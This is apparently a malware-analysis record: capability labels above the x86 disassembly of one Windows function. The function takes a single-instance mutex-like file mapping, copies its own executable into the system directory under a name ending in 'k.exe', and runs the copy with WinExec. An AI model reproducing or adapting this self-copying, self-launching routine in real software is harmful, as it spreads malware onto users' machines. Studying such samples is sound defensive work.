Function at 0x401b6b
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
push edi
jmp 0x401b82
and dword [ebp - 0xc], 0
push 0x404188
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrcmpA]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
mov esi, 0x4040f4
test eax, eax
jne 0x401bee
jmp 0x401bb0
mov dword [ebp - 0xc], 1
mov ebx, 0x644
push 0x404180
push ebx
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateFileMappingA]
test eax, eax
mov dword [ebp + 0x10], eax
jne 0x401c48
jmp 0x401be4
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401bbc
and byte [0x404173], 0
push esi
call section..text
pop ecx
push esi
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push esi
mov ebx, eax
call section..text
cmp ebx, 0x1f
pop ecx
jle 0x401c1b
lea eax, [ebx + 0x4040d5]
push eax
push esi
call edi
lea eax, [ebp + 0x10]
xor ebx, ebx
push eax
push ebx
push dword [ebp + 8]
push 0x4017f5
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp dword [0x4041a4], ebx
jne 0x401bb7
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401c32
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor ecx, ecx
cmp eax, 0xb7
setne cl
xor eax, eax
mov dword [ebp - 8], ecx
push eax
push eax
push eax
push 6
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_MapViewOfFile]
xor ecx, ecx
cmp eax, ecx
jne 0x401c89
jmp 0x401c7b
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x401e87
jmp 0x401c94
cmp dword [ebp - 0xc], ecx
mov dword [0x4041a0], eax
jne 0x401e99
cmp dword [ebp - 8], ecx
je 0x401e02
push ebx
push ecx
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x4041a0]
push esi
mov dword [eax], 1
call section..text
mov eax, dword [0x4041a0]
add esp, 0x10
add eax, 4
push esi
push eax
call edi
push esi
call section..text
pop ecx
mov ebx, 0x104
lea eax, [ebp - 0x214]
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
jmp 0x401cfa
lea eax, [ebp - 0x110]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea eax, [ebp - 0x110]
push 0x404178
push eax
call ebx
jmp 0x401d25
push esi
call section..text
pop ecx
lea eax, [ebp - 0x110]
push esi
push eax
call ebx
push esi
call section..text
pop ecx
jmp 0x401d4b
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea ecx, [ebp - 0x110]
sub ecx, 4
add eax, ecx
jmp 0x401d6c
cmp byte [eax], 0x2e
jne 0x401d74
and byte [eax], 0
xor eax, eax
lea edi, [ebp - 7]
stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 8]
mov byte [ebp - 8], 0x6b
push eax
lea eax, [ebp - 0x110]
push eax
mov byte [ebp - 7], 0x2e
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x78
mov byte [ebp - 4], 0x65
call ebx
jmp 0x401daa
lea eax, [ebp - 0x110]
push 0
push eax
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
jmp 0x401dcb
lea eax, [ebp - 0x110]
push 0x40417c
push eax
call ebx
lea eax, [ebp - 0x110]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
jmp 0x401df2
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401e87
jmp 0x401e26
mov eax, dword [0x4041a0]
mov ecx, dword [eax]
cmp ecx, 0x32
jge 0x401e74
inc ecx
mov dword [eax], ecx
jmp 0x401e54
push esi
call section..text
mov eax, dword [0x4041a0]
pop ecx
push esi
mov ecx, dword [eax]
shl ecx, 5
lea eax, [ecx + eax - 0x1c]
push eax
call edi
push esi
call section..text
pop ecx
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
jmp 0x401e87
push dword [ebp + 8]
call fcn.00401902
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10
push dword [0x4041a0]
call fcn.0040132a
pop ecx
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401e99